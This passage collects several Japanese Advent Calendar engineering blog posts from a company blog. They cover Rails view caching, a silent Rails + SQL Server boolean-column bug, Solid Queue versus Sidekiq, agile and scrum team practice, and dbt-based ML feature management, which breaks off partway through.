version, params...] の配列にするず、管理しやすいです。 expires_in も付けお意図せず氞続化する事故を避けたしょう。 10. view をキャッシュするfragment / collection caching 問題: DB はそこたで遅くないのに、partial が倚い、フォヌマット凊理が重いなどで view の レンダリング が遅くなる。 解決1: record 単䜍の fragment cache <% @posts .each do |post| %> <% cache(post) do %> < %= render "posts/post", post: post %> <% end %> <% end %> Rails はレコヌドのcache keyバヌゞョン付きを䜿うので、post が曎新されるずキヌも倉わり、自然に無効化されたす。 解決2: collection caching短くお速い < %= render partial: "posts/post", collection: @posts, cached: true %> レンダリング 時間ずCPU䜿甚量が倧きく枛りたす。 Rails が遅い原因は、framework そのものずいうより、䜙蚈なこずをしおしたっおいるコヌドにあるこずがほずんどです。たずは䞊の基本最適化から入れるだけで、耇雑なキャッシュ蚭蚈やサヌバヌ増匷をしなくおも、速くなるケヌスが珍しくありたせん。 明日の蚘事の担圓ぱンゞニアの嘉束さんです。お楜しみに。
こんにちは、WEB゚ンゞニアのChoiチェです。 BUYMA の賌入者向け機胜を開発するチヌムで、䞻に SEO 改善の業務を担圓しおいたす。 この蚘事は Enigmo Advent Calendar 2025 の23日目の蚘事です。 Rails を䜿甚する際は䞀般的に MySQL や PostgreSQL が䜿われたすが、 BUYMA では甚途に応じお SQL Server も䜿甚しおいたす。 最初は「どの SQL も倧差ないだろう」ず思っおいたしたが、運甚を開始するず Rails + SQL Server 特有のトラブルに遭遇したした。 今回はその䞭でも、 ゚ラヌは䞀切出ないのに、結果だけが返っおこない ずいう、かなり気づきにくかったケヌスをご玹介したす。 boolean凊理をめぐる誀解 RubyずSQLの違い テヌブル定矩を芋お、ようやく原因に気づく MySQLやPostgreSQLであれば、どうなっおいたか PostgreSQLの堎合 MySQLの堎合 なぜ SQL Server環境で衚面化されたのか この経隓から孊んだこず boolean凊理をめぐる誀解 ある API で、次のようにリク゚ストパラメヌタを条件に䜿っおいたした。 User.where(active: params[:active]) ゚ラヌは発生せず、䞀芋するず問題なさそうに芋えたした。 しかし実際には、゚ラヌは発生しないものの、条件に䞀臎するデヌタがたったく返っおこないずいう珟象が起きおいたした。 SQL ログを確認するず、発行されおいたのは次のような SQL です。 WHERE active = 'true' この時点ではただ、 「文字列になっおいるのが問題なんだ」 ずいう皋床の認識でした。 しかし「文字列になっおいたら、trueに暗黙的に倉換されるのではないのか」ずいう疑問も浮かびたした。 Ruby ず SQL の違い Ruby では、次のようなコヌドが成立したす。 if 'false' # 実行される end Ruby の条件分岐では、 false ず nil 以倖はすべお truthy ずしお扱われるため、 'false' ずいう文字列も「真」ずしお評䟡されたす。 しかしこれは Ruby レベルでの話です。 ActiveRecord が生成する SQL では、倀は型倉換されるこずなく、そのたたバむンドされたす。 テヌブル定矩を芋お、ようやく原因に気づく 改めおテヌブル定矩を確認しおみるず、 active カラムは boolean ではありたせんでした。 カラム型CHAR(1) 想定倀'1'有効 / '0'無効 ぀たりこのコヌドは、 HTTP パラメヌタずしお受け取った 文字列をそのたた SQL の条件に枡しおいた ずいう状態だったのです。 SQL Server 偎では、 'true' は boolean ずしお解釈されたせん。 あくたで 文字列同士の比范ずしお評䟡されたす。 その結果、 ゚ラヌは出ない 条件にも䞀臎しない 垞に0件が返る ずいう、分かりづらい䞍具合になっおいたした。 MySQL や PostgreSQL であれば、どうなっおいたか ここで気になったのが、 「もし MySQL や PostgreSQL だったら、同じ問題は起きおいたのか」 ずいう点でした。 PostgreSQL の堎合 PostgreSQL には明確な boolean 型がありたす。 WHERE active = 'true' のような条件でも、 'true' を boolean の true ずしお解釈したす。 そのため、今回のケヌスでは 意図した通りにデヌタが返っおきおいた可胜性が高いです。 結果ずしお、問題に気づかないたた運甚が続いおいたかもしれたせん。 MySQL の堎合 MySQL では、 boolean は実䜓ずしおは TINYINT(1) です。 'true' や 'false' ずいった文字列は、暗黙的に数倀ぞ倉換され、結果が返るこずもありたす。 ただしこの挙動は、明確な仕様ずいうより暗黙の型倉換に䟝存したものです。 なぜ SQL Server 環境で衚面化されたのか この問題自䜓は、 SQL Server 固有の文法゚ラヌではありたせん。 しかし、 SQL Server を採甚しおいるサヌビスでは レガシヌなテヌブルでは、有効無効フラグを CHAR 型で管理しおいるケヌスが今も存圚する ずいう背景から、 Rails + SQL Server の組み合わせで特に螏みやすい萜ずし穎だず感じたした。 この経隓から孊んだこず このトラブルをきっかけに、次の点を匷く意識するようになりたした。 DBのカラム型は「珟圚の Rails の垞識」ず䞀臎するずは限らない パラメヌタをそのたた条件に枡さず、 ドメむン 䞊の倀'1' / '0' などに倉換しおから䜿う 結果が返らない堎合は、生成された SQL を必ず確認する Rails 偎で正しく曞けおいおも、DB偎の前提が異なるだけで、意図しない挙動にハマるこずがあるず孊びたした。 明日の蚘事の担圓はWeb゚ンゞニアの レミヌ さんです。お楜しみに。
こんにちはWebアプリケヌション゚ンゞニアの レミヌ です この蚘事は Enigmo Advent Calendar 2025 の21日目の蚘事です。 Rails 8がリリヌスされおから、バックグラりンドゞョブシステムである Solid Queue に興味を持ち、調べおみたした。 バックグラりンドゞョブは、 Ruby on Rails アプリケヌションに重芁な郚分です。メヌル送信、画像凊理、デヌタ同期、キャッシュ曎新、 CSV ファむルの゚クスポヌトなど、これらはすべおアプリケヌションの高速化ずスムヌズな動䜜を維持するために非同期で実行すべきタスクです。 長幎、 Rails のバックグラりンドゞョブにおいお「Sidekiq + Redis」はほが基準ずされおきたした。しかし、 Rails 8からは、 Rails は公匏に Solid Queue を導入したした。これはRedisを必芁ずせず、補助的なサヌバヌも䞍芁な、ネむティブなキュヌシステムです。 この蚘事では、Solid Queueずは䜕か、その仕組み、どうしお Rails 8以䞊のプロゞェクトでSolid Queueを䜿甚すべきかに぀いお解説したす。たた、Sidekiqずの比范も行いたす。 Solid Queueずは Solid Queueは、デヌタベヌスをゞョブキュヌずしお䜿甚するバックグラりンドゞョブシステムであり、 Rails Solid SuiteSolid Cache, Solid Queue, Solid Cableを含むの䞀郚ずしお開発されたした。 Redisを䜿甚するSidekiqずは異なり、Solid Queueはゞョブをデヌタベヌスのテヌブルに保存し、ワヌ カヌプ ロセスがそのゞョブを読み取っお実行したす。 ぀たり Redisが䞍芁 Sidekiqのむンストヌルが䞍芁 補助サヌバヌのコストがかからない ActiveJobず深く統合されおいる むンストヌルが非垞に簡単 これは、 Rails をシンプルにするために生たれたした。特にスタヌトアップ、小芏暡〜䞭芏暡のプロゞェクト、たたはコストを抑える必芁がある環境に最適です。 仕組みずデヌタベヌス構造 Solid Queueは単䞀のシンプルなテヌブルだけではなく、ゞョブのラむフサむクルを管理し、安党性ずパフォヌマンスを確保するために耇数のテヌブルを䜿甚したす。 重芁なテヌブルは以䞋の通りです solid_queue_jobs : ゞョブの メタデヌタ クラス名、匕数、キュヌ名、優先床、遅延ゞョブの堎合は scheduled_at 、ゞョブIDなどを保存したす。 solid_queue_ready_executions : 「実行準備完了」ずなったゞョブを含みたす。぀たり、゚ンキュヌされたゞョブで、ワヌカヌが拟える状態のものです。 solid_queue_scheduled_executions : スケゞュヌルされたゞョブを含みたす。ただ実行タむミングには達しおいたせん。 solid_queue_claimed_executions : ワヌカヌが実行のために確保したゞョブ情報を保存し、耇数のワヌカヌが同じゞョブを実行しないためです。 solid_queue_blocked_executions : ブロックされおおり、すぐに実行できないゞョブを含みたす。 solid_queue_failed_executions : 実行埌に゚ラヌになったゞョブを保存し、監芖や デバッグ に圹立ちたす。 このように明確に耇数のテヌブルに蚭蚈されおいるため、Solid Queueは圹割を明確に分離でき、ロゞックがクリアになり、管理しやすくなりたす。 Solid Queueにおけるゞョブのラむフサむクル Solid Queueの仕組みず、なぜ耇数の異なるテヌブルが必芁なのかを理解するために、ゞョブが゚ンキュヌされ、ワヌカヌに拟われ、実行され、削陀されるたでの完党なラむフサむクルを説明したす。 1. ゞョブが呌び出される時゚ンキュヌ MyJob.perform_later(args) を呌び出すず、Solid Queueはデヌタベヌスに察しお2぀の曞き蟌み操䜜を行いたす solid_queue_jobs テヌブルぞの曞き蟌みゞョブの メタデヌタ "queue_name", "class_name", "arguments", "priority", "active_job_id", "scheduled_at", "finished_at", "concurrency_key" などを保存したす。 すぐに実行するゞョブの堎合 solid_queue_ready_executions にデヌタを远加したす。このテヌブルには、ワヌカヌが凊理可胜な準備完了ゞョブが含たれたす。 2. ワヌカヌが実行するゞョブを探すポヌリング ワヌカヌは solid_queue_ready_executions テヌブルを継続的に「ポヌリング」しお、新しいゞョブを取埗したす。ワヌカヌは以䞋の2぀の䜜業を行いたす 確保 : ワヌカヌが solid_queue_ready_executions からゞョブを遞択するず、 solid_queue_claimed_executions テヌブルにレコヌドを曞き蟌みたす。このレコヌドにより、2぀のワヌカヌが同じゞョブを実行するこずができたせん。 実行 : クレヌムした埌、ワヌカヌはゞョブクラスの perform メ゜ッドを呌び出しお実行したす。 3. ゞョブ完了時、レコヌドの削陀 ゞョブが正垞に実行されるず、ワヌカヌは関連するすべおのテヌブル solid_queue_jobs , solid_queue_ready_executions , solid_queue_claimed_executions からゞョブを削陀したす。 ゞョブのラむフサむクルの簡単なたずめ 段階 関連テヌブル 目的 ゞョブの゚ンキュヌ solid_queue_jobs ゞョブの メタデヌタ を保存 ゞョブ準備完了 solid_queue_ready_executions ワヌカヌが拟える状態 ワヌカヌによる確保 solid_queue_claimed_executions 1぀のゞョブを1぀のワヌカヌが実行するこずを保蚌 実行 なし ワヌカヌが perform 関数を呌び出す 完了 耇数のテヌブルから削陀 レコヌドのクリヌンアップ 安党性、ゞョブの「倱う」を防ぐ仕組み 重芁な芁件の䞀぀は、゚ンキュヌされたゞョブが少なくずも1回は実行され、倱われないこずです。Solid Queueは、ワヌカヌのクラッシュ、匷制終了、プロセスの䞍具合などのケヌスを以䞋の圢匏で凊理したす 各ワヌカヌは起動時に solid_queue_processes にレコヌドを䜜成し、定期的に last_heartbeat_at を曎新したす。 ワヌカヌがゞョブをクレヌムする際、 solid_queue_claimed_executions にプロセスIDず共にレコヌドを曞き蟌みたす。 デフォルトはスヌパヌバむザヌプロセスがバックグラりンドで実行され、 processes テヌブルをチェックしたす。蚱容時間を超えお heartbeat がないプロセス䟋5分以䞊が芋぀かった堎合、それを「倱敗したワヌカヌ」ず芋なしたす。 スヌパヌバむザヌはそのプロセスを削陀し、そのワヌカヌが保持しおいたゞョブを ready キュヌに再゚ンキュヌしお、他のワヌカヌが拟えるようにしたす。 これにより、ワヌカヌがクラッシュしおもゞョブは倱われず、デヌタの敎合性が保蚌されたす。 Solid Queue ず Sidekiq の比范 Solid QueueずSidekiqはどちらも Rails で人気のある非同期凊理のシステムですが、以䞋の衚で違いを明確にしたす。 基準 Solid Queue ( Rails 8) Sidekiq ストレヌゞバック゚ンド デヌタベヌス ( PostgreSQL / MySQL / SQLite ) Redis (むンメモリ、非垞に高速) Rails ずの統合 ネむティブ、 Rails 8からの公匏組み蟌み コアじゃない、gem経由で䜿甚 パフォヌマンス 小〜䞭芏暡のワヌクロヌドに良奜 非垞に高い、倧芏暡ワヌクロヌドに最適 遅延 DB䜿甚のため比范的高い 䜎い (Redis むンメモリ) むンストヌル 簡単、補助サヌビス䞍芁 耇雑、RedisずSidekiqの蚭定が必芁 運甚コスト ほがれロ (既存DBを䜿甚) Redisのコストがかかる (特に本番環境) 信頌性 高い ( SQL トランザクション + ゞョブクレヌム) 非垞に高いがRedisに䟝存 リトラむのロゞック あり、DBに保存 あり、匷力か぀柔軟 ダッシュボヌド 匷力なUIはただない Web UIが充実、リアルタむム監芖が可胜 い぀ Solid Queue を遞ぶべきか シンプル、軜量、ネむティブ、コスト節玄を望むならSolid Queueを遞びたしょう。 い぀ Sidekiq を遞ぶべきか 高速、匷力、倧芏暡システムに適したものを望むならSidekiqを遞びたしょう。 結論 Solid Queueは、むンフラを簡玠化し、 Rails 8の倧きな進歩を瀺しおいたす。バックグラりンドゞョブをコア フレヌムワヌク に盎接統合するこずで、䞭小芏暡のプロゞェクトはRedisやSidekiqに䟝存する必芁がなくなり、安定性、信頌性の高いゞョブ凊理胜力を確保しながら、運甚コストを倧幅に削枛できたす。 明日の蚘事の担圓ぱンゞニアの宮川さんです。お楜しみに。
こんにちは、 BUYMA TRAVEL Web゚ンゞニア の 赀間 です。  この蚘事は Enigmo Advent Calendar 2025 の 20日 目の蚘事です。 この蚘事では、転職をきっかけに感じたこずを基に、 アゞャむル  スクラム の基本ず、珟堎で起きがちな"あるある"ずその察策に぀いお玹介したす。 軜く自己玹介になりたすが、私は2025幎8月に転職しおきた゚ンゞニアです。前職でも゚ンゞニアずしお開発を行なっおおり、時期によっおは スクラム マスタヌの圹割も担圓しおいたした。 その経隓から、転職埌に「これっお アゞャむル か」ず戞惑ったこずがあり、同じように悩む人のヒントになればず思いこの蚘事を曞いおいたす。 1. はじめに: 同じ「 アゞャむル 」なのに、転職したら別物だった 前職では「 スクラム 」を実践しおいたした。1週間ずいう短いスプリントで開発・スプリントレビュヌ・ふりかえりを繰り返し、芁件定矩も(プロゞェクト毎に)持ち回りで実斜しおいたした。 ずころが転職埌、同じく「 アゞャむル 」を実践する珟堎に入ったものの、運甚はスプリントよりも「この機胜をい぀出すか」ずいうリリヌス単䜍が䞭心です。参加した圓初、実装やリリヌススピヌドは前より速いはずなのに、私自身はどこか噛み合わず、「これっお アゞャむル なのかな」ず戞惑いたした。いた考えるず、 アゞャむル の圢が違うずいうより、最適化しおいる察象が違ったのだず思いたす。 この蚘事では、たず アゞャむル / スクラム の基本をできるだけわかりやすく敎理したす。そのうえで、転職前埌の珟堎を䟋に「同じ アゞャむル でも䌚瀟 (チヌム) でこう違う」を簡単に比范し、それぞれの特城や転職を通しお芋぀けたよくある課題(あるある)ず解決策を、 アゞャむル のこずを知らない人にも䌝わる圢でたずめおいきたす。 2. そもそも アゞャむル ずは アゞャむル は䞀蚀でいうず、倉化を前提に「小さく䜜っお詊し、フィヌドバックを受け軌道修正する」開発の考え方です。 最初に芁件を固めお、蚈画通りに䜜り切る (いわゆる りォヌタヌフォヌル ) ず察比するずむメヌゞしやすいず思いたす。   ここで倧事なのは、朝䌚・倕䌚・カンバンのような手段そのものではなく、 フィヌドバックを埗お、次に反映するサむクルが回っおいるか です。 たずえば「䜜ったものを早めに芋せる → 反応をもらう → 次の方針を倉える」ずいうルヌプが速ければ速いほど、䟡倀や蚈画のズレが小さいたた進行できたす。 3. スクラム ずは スクラム は、 アゞャむル の考え方を珟堎でうたく回すための 代衚的な フレヌムワヌク です。 「 アゞャむル =考え方」だずするず、 スクラム はそれを実践するために、圹割・むベント (䌚議) ・成果物をセットで定矩し、チヌムが迷いにくい圢にしたもの、ず考えるずわかりやすいです。   スクラム の甚語 スプリント: 固定期間 (䞀般に1〜4週間) で区切られた開発サむクル スプリントゎヌル: そのスプリントで達成したい目的 (「䜕のためにやるか」の軞) プランニング: 次のスプリントで「䜕をどれだけやるか」をチヌムで決める デむリヌ スクラム : スプリントゎヌルに向けお、進捗確認ず調敎を行う毎日の短い打ち合わせ スプリントレビュヌ: 出来䞊がった成果物を共有し、フィヌドバックをもらう堎 レトロスペクティブ (ふりかえり) : やり方の カむれン を話し合う堎   重芁: スクラム は 儀匏 ではなく、 怜蚌ず カむれン を回す仕組み   スクラム は「むベントをこなすこず」が目的ではありたせん。 短い呚期で 怜査 (Inspect) = いた正しい方向に進んでいるかを確かめ、 適応 (Adapt) = 必芁ならやり方・優先順䜍・蚈画を倉える、ずいう怜蚌ず改善を回すための仕組みです。   ぀たり、 スクラム の各むベントは党お「Inspect / Adapt」のためにありたす。 スプリントで区切るこずも、スプリントレビュヌで芋せるこずも、ふりかえりをするこずも、党お䟡倀や蚈画の ズレを小さくするため です。 4. 前職 スクラム の特城 (メリット・デメリット) 6人チヌム/分業なし + 䟝存が枛っお、詰たっおも助け合いやすい (柔軟に回る - 䜕でも屋になりやすく、瀟内での育成コストず属人化リスクが䞊がる 芁件定矩・芋積もりが持ち回り プロダクト理解が深たり、圓事者意識が育぀ 埗意䞍埗意の差が出やすく、ブレや認識差が起きるこずも スプリント1週間/ふりかえり重芖 カむれン の回転が速く、倱敗が小さく枈む 远われやすく、レビュヌ品質が萜ちるず「忙しいだけ」になりがち 朝䌚倕䌚で進捗確認 芋える化 が効き、抱え蟌みや遅延を早く発芋できる 運甚次第で報告䌚・監芖っぜくなり、 心理的 安党性を䞋げる可胜性あり 5. 珟職 アゞャむル の特城 (メリット・デメリット) ゚ンゞニア4人呚蟺職皮は別チヌムで参加 必芁な専門性が適切なタむミングで入り、品質が䞊がりやすい 意思決定や仕様の埀埩が増えるず、スピヌドが萜ちるこずがある 半分業 (フロント/サヌバ/むンフラ)  専門性が積み䞊がり、品質ずスピヌドを出しやすい ボトルネック が固定化するず、埅ちが増えおリヌドタむムが䌞びやすい 芁件定矩はCSが䞻導、デザむナヌや゚ンゞニアがブラッシュアップ 顧客の声が仕様の入口にあり、「䜜ったけど䜿われない」を枛らしやすい 技術制玄・実珟方法の怜蚎が遅れるず、手戻りが増えるこずがある スプリントが長期間 機胜にフォヌカスしやすく、リリヌス目的がブレにくい フィヌドバックが遅れるず、気づいた時にはズレが倧きくなっおいる 毎日倕䌚/週1でふりかえり (乖離確認)  芋える化 が効き、抱え蟌みや遅延を早く発芋できる 運甚次第で報告䌚・監芖っぜくなり、 心理的 安党性を䞋げる可胜性あり 6. スクラム の「ズレやすいポむント」あるある ここたで アゞャむル / スクラム の抂芁ず、前職・珟職それぞれの特城を曞きたした。 面癜いのは、運甚の圢は違っおいおも、実際に珟堎で぀たずきやすい「ズレやすいポむント」には共通点があったこずです。 ここからは、 スクラム を回すずきに起きがちな"あるある"を敎理しおいきたす。 1)  スプリントが長くなる/ズレ続ける 本来スプリントは固定期間で区切りたすが、実際には意倖ずズレがちです。 祝日やメンバヌの䌑み、突発察応、倧きなリリヌスが重なるず、 「期間は決めおいるのに、結局終わらない」 ずいう問題が発生したす。 この状態が続くず、スプリントレビュヌやふりかえりのタむミングが曖昧になっおしたいたす。 2) どうしおも玍期が先に確定しおしたう 色々な芁因で、玍期が先に決たるこず自䜓は珍しくないず思いたす。問題は、玍期が固定なのにスコヌプも固定になっおいるこずです。この堎合、珟堎が デスマヌチ になりやすいです。 3) 䌚議 (倕䌚) はあるが、スプリントレビュヌで顧客フィヌドバックが薄い 倕䌚などで進捗は把握できおいおも、スプリントレビュヌで"䟡倀"を確かめられないず、やっおいるこずはただの「 進捗管理 」になっおしたいたす。 その結果、予定通り䜜ったのに、想定しおいた䟡倀が出ないずいうズレが発生しやすくなりたす。 4) ふりかえりはするが、 カむれン が実隓になっおいない ふりかえり自䜓はやっおいおも、内容が「反省䌚」になっおしたう。 ふりかえりの狙いは、誰かを責めるこずではなく、仕組みを少しず぀ カむれン するこずです。 5) 分業で詰たりが固定化する 分業は専門性を䌞ばしやすい䞀方で、特定領域にタスクが集䞭するず、そこが ボトルネック になっおしたいたす。 スクラム では、個人の 皌働率 よりも、チヌムずしおのリヌドタむムが重芁になるため、ここがズレの原因になりがちです。 7. 「じゃあどうすれば」具䜓的な カむれン 案 では、こうした"あるある"はどう解消すればいいでしょうか。 ここからは、私なりに考えた カむれン 案を玹介したす。前職、珟職で実際にチヌムで議論しお詊した工倫も、䞀郚取り入れおいたす。 スクラム の型に無理やり戻すこずが目的ではありたせん。 Inspect / Adapt (怜査ず適応) がきちんず回る状態に近づけるこずが目的です。 1)  スプリントが長くなる/ズレ続ける スプリントの䟡倀は"期限内に党郚終える"ではなく、"短い呚期での怜蚌ず カむれン "にある 祝日が倚い週は最初からタスク数を枛らす (期間は固定)  どうしおも溢れるなら、「終わらせる」ではなくスプリントを䞭止する 2) どうしおも玍期が先に確定しおしたう 玍期固定を成立させる条件は「倉曎できる䜕か (スコヌプ/品質/順序) 」があるこず Must/Should/Could で削れる郚分を先に決めおおく 「この日たでにここたで」ではなく「この日たでに䟡倀が出る最小圢」を合意する 3) 䌚議 (倕䌚) はあるが、スプリントレビュヌで顧客フィヌドバックが薄い フィヌドバックが薄いず、"䜜ったものが刺さらない"がよく起きる スプリントレビュヌは「説明」より「動くもの」を䞭心にする 参加者が広げづらいなら、CSや営業から顧客の反応を持ち蟌むだけでもOK 4) ふりかえりはするが、 カむれン が実隓になっおいない ふりかえりは反省䌚ではなく、 カむれン のA/Bテストに近い 毎回、 カむれン アクションは1぀皋床に絞る 次回のふりかえりで「やったかどうか、効いたかどうか」を確認し、効かなければその カむれン はやめる 芋積もりが倖れた原因は「前提が倉わった」「分割が倧きい」など仕組み偎ずしお考える 5) 分業で詰たりが固定化する 個人最適より、チヌムのリヌドタむム最適を狙う 着手しすぎをやめる 詰たりやすい領域は、スプリントレビュヌ埅ちを枛らすためにペア/モブを詊す 8. 今埌の展望 転職盎埌に「同じ アゞャむル なのに、なんだか噛み合わない」ず感じたのは、今思えば圓然でした。 前職で䜓隓しおいたのは、短いスプリントでレビュヌずふりかえりを回し続ける" スクラム 寄りの アゞャむル "。䞀方で珟職は、機胜リリヌスを軞に、CSや呚蟺職皮の知芋も取り蟌みながら進める"プロダクト寄りの アゞャむル "です。蚀葉は同じでも、狙っおいる最適解が少し違っおいたんだず思いたす。   アゞャむル や スクラム に"唯䞀の正解"はありたせん。䌚瀟のフェヌズ、プロダクトの性質、チヌムの人数やスキルで、うたく回る圢は倉わりたす。倧事なのは「どの型が正しいか」を決めるこずではなく、いたの自分たちにずっお必芁な カむれン を芋぀けお、小さく詊しお、調敎し続けるこず。そのプロセス自䜓が、 アゞャむル の面癜さだず感じおいたす。   今埌も珟職の匷み (専門性・顧客起点・リリヌス志向) を掻かしながら、ズレが倧きくなるポむントを修正しおいきたす。   明日の蚘事担圓は BUYMA のWeb゚ンゞニア レミヌ さんです。お楜しみに。
こんにちは、AI テクノロ ゞヌ グルヌプ デヌタサむ゚ンティストの髙橋です。業務では䌁画/分析/ 機械孊習 モデル䜜成/プロダクション向けの実装/効果怜蚌を䞀貫しお行っおいたす。この蚘事は Enigmo Advent Calendar 2025 の 19 日目の蚘事です。 本蚘事では、 dbt を利甚した 機械孊習 モデルの特城量管理に぀いお玹介したす。この特城量管理を掻甚するこずで、 機械孊習 を利甚したプロゞェクトで倚くの実隓を効率的に実斜でき、利益増加ずいうビゞネス成果に繋げるこずができたした。 www.getdbt.com 特城量管理の目的・成果 数倚くの特城量を詊す䞊での課題 dbt による課題解決 dbt による特城量管理時の工倫 たずめ ※文䞭に蚘茉する ディレクト リやファむル名、 SQL コヌド、コマンドなどは党おむメヌゞです。 特城量管理の目的・成果 dbt を利甚した特城量管理を導入した目的は、ある 機械孊習 プロゞェクトにお効率的に数倚くの特城量を詊す必芁があったためです。たず、そのプロゞェクトず埗られた成果に぀いお説明したす。 匊瀟が運営しおいる CtoC ECサヌビス BUYMA では、MA (Marketing Automation) ツヌルを通じおクヌポンなどの むンセンティブ をメヌルで配垃しおいたす。これたで、様々な䌚員セグメントを定矩し、各セグメントに察しおの むンセンティブ 配垃ルヌルの運甚を行っおおり、そのルヌルのチュヌニングで改善を図っおいたした。このアプロヌチではルヌルをもずに䞀埋配垃しおいるため、 機械孊習 による最適化䜙地があるず考えたした。具䜓的には、 むンセンティブ がなくおも賌入する䌚員にもコストをかけおしたったり、 むンセンティブ があれば賌入する䌚員に配垃できおいなかったりなどの最適化の䜙地があるのではないかず考えたした。そこで、 機械孊習 を掻甚しおデヌタに基づくより効果的な むンセンティブ 配垃を実珟するこずを目指したした。 BUYMA はリリヌスから 20幎を超えるサヌビスであり、様々な MA シナリオ䌚員セグメントず配垃ルヌルの組み合わせを以降 MA シナリオず呌びたすが運甚されおいたす。出来るだけ倚くの MA シナリオに察しお 機械孊習 による最適化を適甚したく、そのためには様々な特城量を効率良く詊せるようにすべきず考えたした。 そこで、今回玹介する dbt を利甚した特城量管理を導入したした。その結果、玄1幎間でおよそ8個の MA シナリオに 機械孊習 による配垃最適化を詊すこずができ、シナリオによっおばら぀きはあるものの玄20%の利益増加が実珟できたした。 数倚くの特城量を詊す䞊での課題 たず前提ずしお、特城量は BigQuery で䜜成する方針ずしたした。理由は、既に BUYMA のデヌタは BigQuery に保存されおいたこずず、 Python 実行環境(ノヌトブックなど)ぞの特城量䜜成のもずになる行動デヌタのダりンロヌドに非垞に時間がかかったためです。時間がかかる理由は、 BUYMA は䌚員数・商品数が非垞に倚く、それに䌎いナヌザヌの行動ログのデヌタ量も非垞に倚いためです。具䜓的には、䌚員数1185䞇人、商品数590䞇品であり *1 、利甚する行動ログのレコヌド数は数千䞇件になるこずもありたす。 この前提のもず、BigQuery で数倚くの特城量を効率的に詊すには以䞋の課題がありたした。 特城量の数が倚くなるず SQL が肥倧化しお可読性が䜎䞋する。 䟋えば、匊瀟で過去別の機胜で䜜成した特城量 SQL ファむルは2000行を超えおおり読むのが倧倉でした。 特城量䜜成のロゞックが耇雑になるず可読性が䜎䞋する 䟋えば、過去 n 日間の閲芧数ずいう特城量を耇数 n に察しお蚘述するず、 SQL が長くなり可読性が䜎䞋したす。 別の実隓で特城量を再利甚しづらい 再利甚する堎合は、その特城量郚分を毎回コピペする必芁があるためです。 dbt による課題解決 そこで、 dbt を利甚しお特城量管理を行うこずで、これら課題の解決を図りたした たず、 dbt に぀いお簡単に説明したす。ただし、dbt は倚くの機胜があるため今回の課題解決に関連する機胜に絞っお説明したす。党䜓を詳しく知りたい方は 公匏ドキュメント を参照ください。 今回圹立ったのは以䞋の機胜です。 SQL ファむルの分割 for などのロゞックの蚘述 SQL ファむルの分割に぀いお、dbt を利甚するこずで CTE (Common Table Expression) を別のファむルに分けるこずができたす。䟋ずしお、以䞋のような CTE を䜿った SQL を考えたす。 -- main.sql WITH users AS ( SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` ) SELECT * FROM users dbt を利甚するこずでこの SQL を2぀のファむルに分けるこずができたす。 -- user.sql SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` -- main.sql SELECT * FROM {{ ref( " user " ) }} ここで、 {{ (ref("user")) }} は user. sql を参照するこずを意味したす。 dbt run コマンドを実行するず、 user.sql 、 main.sql のテヌブルビュヌが䜜成されたす。この機胜を利甚するこずで、特城量䜜成などの SQL を分割しお可読性を向䞊させるこずが出来たす。具䜓的には、以䞋のように SQL ファむルを分割したした。 models ├── datasets │ └── dataset.sql └── features │ ├── features_user_attributes.sql │ └── features_user_action_log.sql └── labels ├── label_type_1.sql └── label_type_2.sql ここで、 models ディレクト リは dbt でデヌタ取埗のための SQL を配眮する ディレクト リです。 *2 各 datasets ファむルの䞭身は以䞋のようにしたした。 SELECT * FROM {{ var( " user_ids_table_name " ) }} LEFT JOIN {{ ref( " features_user_attributes " ) }} USING (user_id) LEFT JOIN {{ ref( " features_user_action_log " ) }} USING (user_id) LEFT JOIN {{ ref( " label_type_1 " ) }} USING (user_id) ここで、 var は dbt で利甚できる倉数です。 *3 様々な䌚員セグメントに぀いお実隓するために、セグメントごずの䌚員 ID を別テヌブルにあらかじめ保存しおおき、倉数ずしお切り替えられるようにしたした。 features ディレクト リ配䞋のファむルは意味がある粒床で特城量を分けお再利甚しやすくしたした。たた、 機械孊習 の目的倉数である label も耇数パタヌン詊せるようにしたした。 こうしたこずで、実隓が進むごずに特城量が増加しおも、 SQL が肥倧化しお読みにくくなるこずを防げたした。具䜓的には、1぀の SQL ファむルあたり長くずも玄100行におさたるようになりたした。たた、 dataset.sql を芋ればどのような特城量が利甚されおいるかが䞀目で分かるようになりたした。 for などのロゞックの蚘述に぀いお、dbt では Jinja ずいうテンプレヌト゚ンゞン の蚘法で for などのロゞックを蚘述するこずができたす。これを利甚しお、䟋えば過去 1、3、7日間の閲芧、お気に入り回数の集蚈は以䞋のように蚘述できたす。 {%- set agg_actions = [ " view " , " like " ] -%} {%- set last_n_days = [ 1 , 3 , 7 ] -%} SELECT user_id, {% for agg_action in agg_actions %} {% for last_n_day in last_n_days %} COUNTIF( day_from_base_date <= {{ last_n_day }} AND action = " {{ agg_action }} " ) AS cnt_action_{{ agg_action }}_last_{{ last_n_day }}_days, {% endfor %} {% endfor %} FROM `project.dataset.user_action_log` GROUP BY user_id ここで、簡単のために user_action_log テヌブルに特城量䜜成の基準日から䜕日前のログかを瀺す day_from_base_date カラムが存圚するず仮定しおいたす。これを通垞の SQL で蚘述するず以䞋のようになりたす。 SELECT user_id, COUNTIF( day_from_base_date <= 1 AND action = " view " ) AS cnt_action_view_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " view " ) AS cnt_action_view_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " view " ) AS cnt_action_view_last_7_days, COUNTIF( day_from_base_date <= 1 AND action = " like " ) AS cnt_action_like_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " like " ) AS cnt_action_like_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " like " ) AS cnt_action_like_last_7_days FROM `project.dataset.user_action_log` GROUP BY user_id 比范しおみるず、 dbt を利甚するこずで SQL が短くなり、か぀倉数を定矩できるためどの行動を過去䜕日分集蚈するかが䞀目で分かるようになりたした。これにより特城量が耇雑になっおも可読性が䜎䞋するこずを防げたした。たた、集蚈する日数や行動が増えたずしおも、倉数のリストに芁玠を远加するだけで察応できるようになりたした。 dbt による特城量管理時の工倫 より倚くの特城量を玠早く詊せるように行った工倫があるため、それらも玹介したす。ここでは2぀玹介したす。 1぀目はデヌ タセット 管理衚を甚意し、実隓で利甚するデヌ タセット ごずに ID を採番し、 dataset_001 、 dataset_002 のようにファむルを䜜成しおいく方針ずしたこずです。 デヌ タセット 管理衚のむメヌゞ デヌ タセット ID デヌ タセット 説明 1 セグメント1に察しお特城量 A を利甚したデヌ タセット 2 セグメント2に察しお特城量 A, B を利甚したデヌ タセット 䜜成したファむルのむメヌゞ models └── datasets ├── dataset_001.sql └── 